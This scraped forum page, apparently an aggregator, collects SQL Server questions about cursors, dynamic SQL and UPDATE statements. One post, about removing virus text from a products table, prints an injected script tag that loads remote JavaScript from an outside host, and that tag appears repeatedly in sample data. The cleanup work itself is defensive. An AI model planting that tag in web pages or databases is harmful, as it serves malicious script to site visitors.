Variable As Field Name In CURSOR FOR UPDATE
I'm trying something like:
UPDATE tbl SET @varFieldName = @varValue
The procedure runs, and when I PRINT @varFieldName, it looks fine, but the table isn't getting updated, and no errors, wierd.
I have the CURSOR open for update, but I didn't list the field names, that shouldn't be a problem, as all fields should be updateable then.
To get the field name, I :
SET @varFieldName = 'SomeChars' + LTRIM(STR(asmallint)) + 'SomeMoreChars'
Thanks,
Carl
View Complete Forum Thread with Replies
Related Forum Messages:
Is It Possible To Use This One Query To Update The QUAL_SCORE Field Without Using Cursor
UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code; is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0. Thanks
View Replies !
Cursor/variable Help
I'm not sure about this one so if someone could help I'd appreciate this. As shown below I've declared a variable name1 to be used in a while statement substituting for an object name in a select statement (2000 SP3a) and throwing the shown error. Are variables allowed to be used to substitute for object names or is there another problem? Thanks.
View Replies !
How To Use Variable In A Cursor
if i have the cursor cursor: cursor for select name from sysobjects where type='P' AND category='0' and wants a variable before sysobjects which equals a table name, so itll be: cursor for select name from @variable..sysobjects where type='P' AND category='0' how do i include a variable within a cursor statement
View Replies !
Bind Variable In CURSOR
SQL Server 2000 SP4 with AWE hotfix. Windows 2003 SP1.I have a stored procedure which is not working the way I think itshould be.I have a CURSOR which has a variable in the WHERE clause:DECLARE get_tabs CURSOR local fast_forward FORSELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = @dbnameORDER BY tablenameIt won't return anything, even when I verify that @dbname has a valueand if I run the query in Query Analyzer with the value, it returnsrows:SELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = 'Archive'ORDER BY tablenameDB_Rpt_Fragmentation11575791622006-03-29 09:52:11.7772006-03-2909:52:11.823DtsAdtStdArchive_DataSourceType5175768822006-03-2909:52:11.8702006-03-29 09:52:11.887DtsADTstdArchiveNotUsed3575763122006-03-29 09:52:11.8872006-03-2909:52:12.103I've taken out most of the guts for simplicity, but here's what I'vegot:--CREATE TABLE dbo.db_ind--(--db_ind_tkintIDENTITY,-- id int NULL,-- tablename sysname NOT NULL,-- indid int NULL,-- indexname sysname NOT NULL,-- shcontig1dt datetime NULL,-- defragdt datetime NULL,-- shcontig2dt datetime NULL,-- reindexdt datetime NULL--)ALTER PROCEDURE IDR(@hours int)AS--SET NOCOUNT ON--SET ANSI_WARNINGS OFFDECLARE @tabname varchar(100),@indname varchar(100),@dbname varchar(50),@vsql varchar(1000),@v_hours varchar(4),@shcontig1dtdatetime,@shcontig2dtdatetime,@defragdtdatetime,@reindexdtdatetime,@idint,@indidint,@rundbcursorint,@runtabcursorint,@runindcursorintDECLARE get_dbs CURSOR local fast_forward FORSELECT dbnameFROM db_jobsWHERE idrdate < getdate() - 4or idrdate is nullORDER BY dbnameDECLARE get_tabs CURSOR local fast_forward FORSELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = @dbnameORDER BY tablenameDECLARE get_inds CURSOR local fast_forward FORSELECT indid, indexname, defragdt, reindexdtFROM db_indWHERE dbname = @dbnameAND tablename = @tabnameORDER BY indexnameOPEN get_dbsFETCH NEXT FROM get_dbsINTO @dbnameIF @@FETCH_STATUS = 0SELECT @rundbcursor = 1ELSESELECT @rundbcursor = 0SELECT @v_hours = CONVERT(varchar,@hours)--================================================== ================================================== =====--================================================== ================================================== =====--================================================== ================================================== =====WHILE @rundbcursor = 1BEGIN -- db whilePRINT '============================='PRINT @dbnamePRINT '============================='--================================================== ================================================== =====--================================================== ================================================== =====OPEN get_tabsFETCH NEXT FROM get_tabsINTO @tabname, @id, @shcontig1dt, @shcontig2dtIF @@FETCH_STATUS = 0BEGINPRINT 'table: ' + @tabnameSELECT @runtabcursor = 1endELSEBEGINPRINT 'not getting any tables! '-- <<<<< THIS IS WHERE IT HITSSELECT @runtabcursor = 0endWHILE @runtabcursor = 1BEGINPRINT @dbnamePRINT @tabname--================================================== ================================================== =====OPEN get_indsFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0WHILE @runindcursor = 1BEGINPRINT 'Index:' + @dbname + '.' + @tabname + '.' + @indnameFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0END-- 1st loop through indexesCLOSE get_inds--================================================== ================================================== =====--==========PRINT 'db.tab: ' + @dbname + '.' + @tabname--==========--================================================== ================================================== =====OPEN get_indsFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0WHILE @runindcursor = 1BEGINPRINT 'dbname: ' + @dbnamePRINT 'tabname: ' + @tabnamePRINT 'indname: ' + @indnameFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0END -- 2nd loop through indexesCLOSE get_inds--================================================== ================================================== =====FETCH NEXT FROM get_tabsINTO @tabname, @id, @shcontig1dt, @shcontig2dtIF @@FETCH_STATUS = 0SELECT @runtabcursor = 1ELSESELECT @runtabcursor = 0END-- loop through tablesCLOSE get_tabs--================================================== ================================================== =====--================================================== ================================================== =====PRINT 'Index Maintenence complete. Job report in[DB_Rpt_Fragmentation]'PRINT ''FETCH NEXT FROM get_dbsINTO @dbnameIF @@FETCH_STATUS = 0SELECT @rundbcursor = 1ELSESELECT @rundbcursor = 0END -- loop through databasesCLOSE get_dbsdeallocate get_dbsdeallocate get_tabsdeallocate get_inds--================================================== ================================================== =====--================================================== ================================================== =====--================================================== ================================================== =====GOAnd this is what I'm getting:=============================Archive=============================(0 row(s) affected)not getting any tables!Index Maintenence complete. Job report in [DB_Rpt_Fragmentation]......etc.Am I missing something obvious?Thank you for any help you can provide!!
View Replies !
Set Value For Variable In A Declared Cursor
Hi, I have a problem on setting the value for the variable in a declared cursor. Below is my example, I have declared the cursor c1 once at the top in a stored procedure and open it many times in a loop by setting the variable @str_var to different values. It seems the variable cannot be set after the cursor declared. Please advise how can I solve this issue. ------------------------------------------------------------------------ DECLARE @str_var VARCHAR(10) DECLARE @field_val VARCHAR(10) DECLARE c1 CURSOR LOCAL FOR SELECT field1 FROM tableA WHERE field1 = @str_var WHILE (Sometime TRUE) BEGIN .... SET @str_var = 'set to some values, eg. ABC123, XYZ123' OPEN c1 FETCH c1 INTO @field_val WHILE (@@fetch_status != -1) BEGIN PRINT @field_val ... FETCH c1 INTO @field_val END CLOSE c1 END DEALLOCATE c1 ---------------------------------------------------------------------- Thanks a lots, Vincent
View Replies !
Using Cursor Variable As A Tablename
I am currently using a cursor to scroll through sysobjects to extract table names and then extracting relevant column names from syscolumns. I then need to run the following script: declare Detail_Cursor cursor for select @colname, max(len(@colname)) from @table The message I receive is "must declare variable @table". Immediately prior to this script I printed out the result of @table which works fine so the variable obviously is declared and populated. Can anyone let me know what I'm doing wrong or how I can get the same result. Thanks
View Replies !
Cursor Variable Problem
My code below is supposed to pull the destination and then work out 2 calculations per month on each destination. The results returns the string '@destination' instead of the value from the table and also the month value is returned completely wrong. My main problem though is the getting the correct destination to return. If anybody has any pointers I would be very grateful. This is driving me mad!! Thanks a lot in advance Here some sample code: DECLARE @Destination char(50) DECLARE AVGCallsToDest INSENSITIVE scroll CURSOR FOR SELECT destination from table1 OPEN AVGCallsToDest FETCH First FROM AVGCallsToDest INTO @Destination WHILE (@@FETCH_STATUS = 0 ) BEGIN exec("Insert into NewTable(Card, [Month], NumberOfCalls, AverageLength, Destination) select 'Phone Card' as 'Card', DATEPART(mm,adetdate) as 'Month',count(*) as 'NumberOfCalls', avg(bdur)/60 as 'AverageLength', "" +@Destination+ "" as 'Destination' from table1 (nolock) whereDATEPART(mm,adetdate) = 5 and DATEPART(yyyy,adetdate) = DATEPART(yyyy,getdate()-1) group by DATEPART(mm,adetdate),bdur order by Month") FETCHNext FROM AVGCallsToDest INTO@Destination End CLOSE AVGCallsToDest DEALLOCATE AVGCallsToDest
View Replies !
How To Iterate Through Table Variable Without Using Cursor
Hi, I need a small help. In my stored procedure, i create a table variable and fill it with records based on my query. The ID field within the table is not continous and can have any value in increasing order .e.g. The ID sequence may be like 20, 33, 34, 59, 78, 79... I want to iterate through each record within the table but without using a Cursor. I want to use a loop for this purpose. There are many articles pointing out how to iterate through records in a table variable but that requires the IDs to be continous which is not possible in my case. Can anyone help me solve this problem... Any help is appreciated...
View Replies !
Variable As Column In Cursor Select
I can't seem to get a cursor to work when I'm passing in a variable for a column name of the select statement. For example: declare @col varchar(50) set @col = 'Temperature' declare notifycurs cursor scroll for select @col from Table Obviously this won't work correctly (since the result will simply be 'Temperature' instead of the actual float value for temperature). I tried to use quotes for the entire statement with an EXEC (ie. exec('select '+@col+' from Table' ) but that gave me an error. Is there a way to pass in a variable for a column name for a curor select statement????
View Replies !
Adding Variable To SELECT For CURSOR
I'm trying to build a select statement for a CURSOR where part of the SQL statement is built using a variable. The following fails to parse: Declare Cursor1 Cursor For 'select table_name from ' + @database + '.Information_Schema.Tables Where Table_Type = ''Base Table'' order by Table_Name' Open cursor1 That doesn't work, I've also tried using an Execute() statement, no luck there either. Any ideas or suggestions are greatly appreciated.
View Replies !
Cursor Declared With Variable In Where Clause
When I execute next query on sqlserver 6.5 nested in stored procedure I can see that 'open testCursor' selected rows using new value of @var. When I execute query on sqlserver 7.0 I can see that 'open testCursor' selected rows using value of @var before 'declare ... cursor'. Is there any way to force sqlserver 7.0 to proccess cursor like it did it before. select @var = oldValue declare testCursor cursor for select someColumns from someTable where someColumn = @var select @var = newValue open testCursor fetch next from testCursor into @someColumns Thank's in advance. Mirko.
View Replies !
Possible To Fetch Next From Cursor Into Table Variable?
Hello, I have searched the net for an answer but could not find one. When I declare a table variable and then try to insert fetched row into the table variable like: Code Snippet declare @table table (col1 nvarchar(50), col2 nvarchar(50)) declare curs for select * from sometable open curs fetch next from curs into @table it does not work. any help would be great. thnx
View Replies !
How To Read The Rows In A Cursor Variable
Hi, I have a dynamic query that returns its values in a cursor variable. How do I read each row from this cursor in a loop ? Eg.: use AdventureWorks go DECLARE @sqlnvarchar(4000), @paramsnvarchar(4000), @tables_cursorcursor, @db_namenvarchar(50), @table_namenvarchar(4000), @schema_namenvarchar(50); set @db_name = 'AdventureWorks'; set @schema_name = 'Production'; set @table_name = 'BillOfMaterials, Product'; set @sql = ' select a.name table_name ' + ' from ' + @db_name + '.sys.tables a join ' + @db_name + '.sys.schemas b ' + ' on (a.schema_id = b.schema_id) ' + ' where b.name= @schema_name1 ' + ' and @table_name1 is null ' + ' order by 1; ' SELECT @params = N' @table_name1 nvarchar(3000) ,' + N' @schema_name1 nvarchar(100) ,' + N' @cursor cursor output' EXEC sp_executesql @sql, @params, @table_name,@schema_name , @tables_cursor OUTPUT
View Replies !
Variable Assignment In Cursor Declaration
Hi, here is the code segment below; ... DECLARE find_dates CURSOR FOR SELECT @SQL = 'select DISTINC(Dates) from ['+@name+'].dbo.['+@t_name+'] order by [Dates] ASC' EXEC (@SQL) but it gives error, variable assignment is not allowed in a cursor declaration. I need to use dynamic SQL , the only way to access all the dbs and their tables inside. Please help. thanks
View Replies !
How To Include Variable In CURSOR SQL Filter Clause?
After trying every way I could come up with I can't get a filter clauseto work with a passed variable ...I have a cursor that pulls a filter string from a table (works OK),then I want to use that filter in a second cursor, but can't get thesyntax ...@bakfilter is equal to "MISV2_db_%.BAK" before I try to open and fetchfrom the second cursor. Here is the cursor declaration:DECLARE curFiles CURSOR FORSELECT FileName, FileDateFROM DataFileWHERE (((Active)=1) AND ((FileName) LIKE '@bak_filter'))ORDER BY FileDate DESCWhat do I need to do to get it to use the string contained in@bak_filter?Thanks in advance, Jim
View Replies !
Output Of Select Stament Into Variable Within Cursor
Within a cursor that I am building I would like to execute a select statement built from a varchar variable as such: SELECT @BuildDBPageUsed = 'SELECT sum(reserved) FROM ' + @DatabaseName + '.dbo.sysindexes WHERE segment <> 2' Next I execute the statement, which is now in the variable @BuildDBPageUsed. Such as: EXEC (@BuildDBPageUsed) The resulting output I need to set to another variable @DBPageUsed which is integer. I have been unsuccessful in finding the correct set of commands to do this. How should I build the command to input the results of the EXEC (@BuildDBPageUsed) into the integer variable @DBPageUsed? *Thanks* for any help in this matter. Brad
View Replies !
In Cursor: Help To Perform Proper Comparison Using Variable
Hi All, I failed to find record when using variable in cursor in WHERE clause: ID is uniqueidentifier field in the table DECLARE @EncounterID uniqueidentifier ........ WHERE ID = @EncounterID -> this does not work, though @EncounterID is set properly and can see its value in debugger WHERE ID = 'E3AE2C5B-06F2-4A3C-A3A4-7D6CC43DE012' -> this works fine and record found Tried to CAST(@EncounterID as char(40)) but still no luck. I would greatly appreciate any advise hot to make it working. Thank you very much in advance Roman
View Replies !
Question About Assigning Cursor Variable Data Types...
Hi, I'm just curious about something...when assigning a datatype to a cursor variable in ORACLE, you can use the keyword TYPE to automatically grap the datatype from the associated column (or use ROWTYPE to create a cursor variable to represent an entire row in a table). It's so much easier and if the datatype of one of the cursor columns is altered, the associated cursor variable assumes the new datatype. Is there a way to do this in SQL Server 7.0 ? many thanks :)
View Replies !
Combing In A Cursor, A Select Statement With The WHERE Clause Stored In A Variable
Hi I am ramesh here from go-events.com I am using sql mail to send out emails to my mailing list I have difficulty combining a select statement with a where clause stored in a variable inside a cursor The users select the mail content and frequency of delivery and i deliver the mail I use lots of queries and a stored procedure to retrieve thier preferences. In the end i use a cursor to send out mails to each of them. Because my query is dynamic, the where clause of my select statement is stored in a variable. I have the following code that does not work For example DECLARE overdue3 CURSOR LOCAL FORWARD_ONLY FOR SELECT DISTINCT Events.E_Name, Events.E_SDate, Events.E_City, Events.E_ID FROM Events, IndustryEvents + @sqlquery2 OPEN overdue3 I get an error message at the '+' sign which says, cannot use empty object or column names, use a single space if necessary How do I combine the select statement with the where clause? Help me...I need help urgently
View Replies !
Dynamic Query, Local Cursor Variable And Global Cursors
Hi all. I am stuck in a bit of a conundrum for quite a while now, and I hope someone here will help me figure this one out. So, first things first: let me explain what I need to do. I am designing a web application that will allow users to consult info available in a SQL2000 database. The user will enter the search criterea, and hopefully the web page will show matching results. The problem is the results shown aren't available per se in the DB, I need to process the data a bit. I decided to do so on the SQL Server side, though the use of cursors. So, when a user defines his search criteria, I run a stored procedure that begins by building a dynamic sql query and creating a cursor for it. I used a global cursor in order to do so. It looked something like this: SET @sqlQuery = ... (build the dinamic sql query) SET @cursorQuery = 'DECLARE myCursor CURSOR GLOBAL FAST_FORWARD FOR ' + @sqlQuery EXEC @cursorQuery OPEN myCursor FETCH NEXT FROM myCursor INTO ... CLOSE myCursor DEALLOCATE myCursor This works fine, if there's only one instance of the stored procedure running at a time. Should another user connect to the site and run a search while someone's at it, it'll fail due to the atempt to create a cursor with the same name. My first thought was to make the cursor name unique, which led me to: ... SET @cursorName = 'myCursor' + @uniqueUserID SET @cursorQuery = 'DECLARE '+ @cursorName + 'CURSOR FAST_FORWARD FOR ' + @sqlQuery EXEC @cursorQuery ... The problem with this is that I can't do a FETCH NEXT FROM @cursorName since @cursorName is a char variable holding the cursor name, and not a cursor variable. So to enforce this unique name method the only option I have is to keep creating dynamic sql queries and exucting them. And this makes the sp a bitch to develop and maintain, and I'm guessing it doesn't make it very performant. So I moved on to my second idea: local cursor variables. The problem with this is that if I create a local cursor variable by executing a dynamic query, I can't extract it from the EXEC (or sp_executesql) context, as it offers no output variable. I guess my concrete questions are: Is it possible to execute a dynamic sql query and extract a (cursor) variable from it?Is it possible to populate a local cursor variable with a global cursor, by providing the global cursor's name?Can I create a local cursor variable for a dynamic sql query? How? Anybody sees another way arround this?Thanks in advance, Carlos
View Replies !
UPdate Cursor
i' trying to get the date as yyyymmdd but i somehow seem to be only getting 20062 7 as in 7th Feb 2006. i wrote an update cursor to do this but not sure if this is the best way to go about doing this declare @day as char(2) declare @month as char(2) declare @year as char(4) declare @Exportdate as char(10) declare @isodate as datetime DECLARE IsoDate CURSOR DYNAMIC FOR SELECT modifieddate FROM statenet.dbo.tblCAABimport WHERE modifieddate <> '' FOR UPDATE Open Isodate FETCH NEXT FROM isodate into @isodate WHILE (@@FETCH_STATUS = 0) BEGIN if len(datepart(d,@isodate)) = '1' set @day = ('0' + datepart(d,@isodate)) else set @day = ('0' + datepart(d,@isodate)) print @day if len(datepart(m,@isodate)) = '1' set @month = '0' + datepart(m,@isodate) else set @month = '0' + datepart(m,@isodate) print @month set @year = datepart(yyyy,@isodate) set @exportdate = @year + @month + @day print @exportdate update tblCAABimport set isodate = @exportdate Where current of isodate FETCH NEXT FROM isodate INTO @isodate END CLOSE isodate DEALLOCATE isodate
View Replies !
Update Cursor
I am trying to use a cursor to insert data into another table. It is not working. Below is the cursor and the error message. Can anyone tell me what I am doing wrong. Thank you. Booker declare cursor_test CURSOR for select emp_ssn, effective_date1 from temp_employee_benefit_load open cursor_test declare @ssn char(9), @process_date char(8) fetch next from cursor_test into @ssn, @process_date while (@@fetch_status=0) update test_cursor set ssn = @ssn, process_date = @process_date where current of cursor_test fetch next from cursor_test into @ssn, @process_date close cursor_test deallocate cursor_test Error Messages... Server: Msg 16933, Level 16, State 1, Line 0 The cursor does not include the table being modified. The statement has been terminated. Server: Msg 16933, Level 16, State 1, Line 5 (this message repeats)... The cursor does not include the table being modified. The statement has been terminated.
View Replies !
Update Cursor
hi, can anybody give me an example of an update cursor. With wich i mean 'cursor for update ...'. i want to make a cursor that selects a whole table, then checks a field and if this field matches my requests, then update it. I have no experience with cursors. Thanx in advance.
View Replies !
Update SQL Field With Stripped Data From Other Field
Not a SQL guy but can do enough to be dangerous :)Trying to update a record. We have records that have a field with datasurrounded by some comment text such as *** Previous Public Solution*** Start and *** Previous Public Solution *** End . What I am tryingto do is write a SQL statement that will:Check that field C100 = TICKET0001 (to test with one record beforerunning on whole db)Check that field C101 is = ClosedCheck that field C102 is nullCopy field C103 data to field C102 and strip out any words such as ***Previous Public Solution *** Start and *** Previous Public Solution*** endThanks for any help!Kevin
View Replies !
Fail To Update Field With A Field Uniqueidentifier
Hi all, I have a problem about a query to update a table UPDATE Email SET EmailDT='31 Mar 2004' WHERE Idx={BDF51DBD-9E4F-4990-A751-5B25D071E288} where Idx field is a uniqueidentifier type and EmailDT is datetime type. I found that when this query calling by a VB app. then it have error "[Microsoft][ODBC SQL Server Driver]Syntax error or access violation" and i have tried again in Query Analyzer, same error also occur, the MS SQL server is version 7. Please help. thanks.
View Replies !
UPDATE CURSOR - Declaring And Use.
I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
View Replies !
Update Record In A Cursor
Please tell me how to code the Update of the current cursor record as one would do using VD/ADO : VB: Table("Fieldname") = Value ---------------------------------------------------------- Declare @NextNo integer Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1 --Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone Open Clone_Cursor Fetch Next from Clone_Cursor WHILE @@FETCH_STATUS = 0 BEGIN Select @NextNo = @NextNo + 1 Clone_Cursor("ABAN8") = @NextNo Update Clone_Cursor FETCH NEXT FROM Clone_Cursor END CLOSE Clone_Cursor DEALLOCATE Clone_Cursor GO
View Replies !
Error On Update, But Not When Using Cursor
I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString). When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't). The problem thus cannot be with the function since it works just fine if I do like this: UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001 And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records). But when I do this it crashes: UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff. Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly. The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is). Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here). Is there a certain tweak I can do to make things work out, or should I code things differently? Thanks!
View Replies !
One Statement Update - Join, No Cursor ?
HI AllI have a process that I am trying to accomplish with one statement. Icannot think of any way to do it other than using a cursor.I was wondering if anyone could point me in the right direction.I want to update the Domain in Table A with the Domain in Table Bwhere A.Account = B.Account with the highest rank.----------------------------------Table A--------------------------------------------------------------------Account|Domain--------------------------------------------------------------------Micorsoft|null----------------------------------IBM|null-------------------------------------------------------------TAble B--------------------------------------------------------------------------------------------------------------------------Account|Domain|Rank--------------------------------------------------------------------------------------------------------------------------Micorsoft|microsoft.com|9-------------------------------------------------------------Micorsoft|yahoo.com|2-------------------------------------------------------------Micorsoft|hotmail.com|1Thanks!!!
View Replies !
UPDATE TRIGGER WITH CURSOR... URGENT HELP..
HI EVERYBODY.. SQL 7.0: WE HAVE A TABLE X WHICH HAS AN UPDATE TRIGGER WRITTEN ON IT WHICH IS FIRED ON UPDATATION ON THIS TABLE. WE HAVE AN ENHANCEMENT TO THIS TRIGGER WHICH WOULD INSERT THE LAST UPDATED ROW IN TABLE X (THROUGH LOGICAL TABLE 'INSERTED') FOR ONLY FEW COLUMNS INTO ANOTHER TABLE Y ON ANOTHER DATABASE. WE HAVE TRIED USING CURSORS FOR PASSING VARIABLE FROM THE INSERTED ROW TO THE FINAL TABLE, BUT WE SEEM TO NOT GET ANY DATA INTO THE TABLE Y. HOW CAN WE TEST IF THE VALUES IN THE CURSOR VARIABLES ARE BEING PASSED? PLEASE LET ME KNOW HOW TO APPROACH THE PROBLEM. THANKS IN ADVANCE.. BYE MO
View Replies !
Cursor Update Creating Nulls
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls. Code: use db7021 go select * from products go declare @desc varchar(max) declare @virus varchar(128) set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>' declare @start int declare @end int declare thecursor CURSOR LOCAL SCROLL_LOCKS for select cdescription from products where cdescription like ('%' + @virus + '%') for update of cdescription open thecursor fetch next from thecursor into @desc while @@FETCH_STATUS = 0 begin print @desc set @start = charindex(@virus, @desc) set @end = @start + len(@virus) print cast(@start as char) + ', ' + cast(@end as char) set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1) update products set cdescription = @desc where current of thecursor fetch next from thecursor into @desc end close thecursor deallocate thecursor select * from products go Which produces the output: Code: id cname cdescription ----------- ----------- ---------------------------------------------------------------------------------------- 1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script> 2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script> 3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script> 4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script> (4 row(s) affected) sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script> 41 , 89 (1 row(s) affected) sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script> 41 , 89 (1 row(s) affected) sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script> 41 , 89 (1 row(s) affected) sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script> 41 , 89 (1 row(s) affected) id cname cdescription ----------- ------------ ------------ 1 banana NULL 2 apple NULL 3 lolcat NULL 4 cheezburgr NULL (4 row(s) affected) I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs. Maybe I've missed something in the syntax for cursors?
View Replies !
Read The Csv In A Cursor Instead Of Bulk Update
Hello, I am trying to read in from a csv file which works like this: DECLARE @doesExist INT DECLARE @fileName VARCHAR(200) SET @fileName = 'c:file.csv' SET NOCOUNT ON EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT SET NOCOUNT OFF IF @doesExist = 1 BEGIN BULK INSERT OrdersBulk FROM "' + @fileName + '" WITH ( FIELDTERMINATOR = ',', ROWTERMINATOR = '' ) END ELSE print('Error cant find file') What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE. I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor. So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?
View Replies !
Error Creating Cursor Handle ** Update **
***Original message:*** (see update below) Can someone please help me with this stored procedure? When I execute it in ISQL/w, it works fine, but when one of my programmers tries to execute it from another program (Delphi3) he receives an error of “Error creating cursor handle”. Can someone tell me what this means? I don't really know anything about cursors... how can I be using them??? CREATE PROCEDURE EMPLOY_TEST AS declare @msg varchar(30) declare @newnum int insert dbo.employ_xref_id default values SELECT @newnum=(max(Idcolumn+1)) from employ_xref_id where IDCOLUMN between 0 and 9999 and not exists (select * from EMPLOY_XREF e where e.EMP_ID=(idcolumn+1)) select @msg=""+convert (varchar(10), @newnum) print @msg GO ***Update*** I have figured out that it is the 'select @newnum=(max(idcolumn+1))' that was causing the problem. Actually just the @newnum portion. I've changed that to just 'select newnum=(max(idcolumn+1))', but how can I get this value to be returned to the user without having the @newnum variable to use in a PRINT statement? CREATE PROCEDURE EMPLOY_TEST with recompile AS begin declare @msg varchar(30) insert dbo.employ_xref_id default values select newnum = (max(idcolumn +1)) from employ_xref_id where idcolumn between 100 and 999 and not exists (select * from employ_xref e where e.emp_id=(idcolumn +1)) end GO Thanks for any advice!! Toni Eibner
View Replies !
Use Cursor To Update Rows In Batches Of A Given Size
I'd like to use a cursor to update a large number of rows in a table, updating a batch of 1000 records at a time. I tried updating in one transaction but log fills up. I'd like to update a batch, clear the log, then update another batch. Repeat till done. Don't really want to increase the log size for this one time shot. Can anyone give me an example to follow. Thanks
View Replies !
Cursor Count Loop - Update Table
I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out. The table looks something like this. inv# SKU 1001 ABC123 1001 DEF456 1001 GHI789 1002 123DEF 1002 456GHI 1002 876HGT I need the cursor to go through and number each line, something like this. inv# SKU Line# 1001 ABC123 1 1001 DEF456 2 1001 GHI789 3 1002 123DEF 1 1002 456GHI 2 1002 876HGT 3 Any help is greatly appriciated. Thanks
View Replies !
BUG? Optimistic Concurrency Check Don't Work When BLOB Field Read After Row Modification Outside Of The Cursor.
Hi, here is the problem. SYSTEMS INVOLVED: Sql Server 2000, VB 6, ADODB SYMPTOM: Recordset opend with settings: tb.LockType = adLockOptimistic tb.CursorLocation = adUseServer tb.CursorType = adOpenKeyset When I open recordset using above settings (just 1 record), then change that record in other application(eg. using Management Studio), then get back to vb and just read any blob field (text, ntext) and modify any field in the same record then at the very end execute tb.Update operation is succesful which is wrong, because we should get an error: "Optimistic concurrency check failed. The row was modified outside of this cursor." If you pass over the "read any blob field" step it works as it should (operation fails with above error). CODE TO REPRODUCE: Sub Test() Dim SqlConn As New ADODB.Connection Dim tb As New ADODB.Recordset tb.LockType = adLockOptimistic tb.CursorLocation = adUseServer tb.CursorType = adOpenKeyset On Error GoTo Error SqlConn.ConnectionString = "Provider=SQLOLEDB.1;User Id=sa;Password=<password>;Initial Catalog=Northwind;Data Source=<server>" SqlConn.Open tb.Open "SELECT * FROM Categories WHERE CategoryId = 1", SqlConn tb.Fields("CategoryName") = "A" MsgBox "Now modify and commit changes to this record in separate application, when done click OK." res = MsgBox("Read blob field (Yes, concurency check doesn't work), No (does work)", vbYesNo) If res = vbYes Then tmp = tb.Fields("Description") End If tb.Update MsgBox "Update successful!" SqlConn.Close Exit Sub Error: MsgBox Err.Description + vbCrLf + Err.Source, 16 End Sub I'm aware that blob fileld is handled in a special way, it is not stored in record's data page it belongs to (unles we specify in row option). If anyone had this problem or found confirmation that it is the bug, please let me know or maybe it's not the bug and there is some justification of such behaviore .... Thank you for any reply ! Tomek
View Replies !
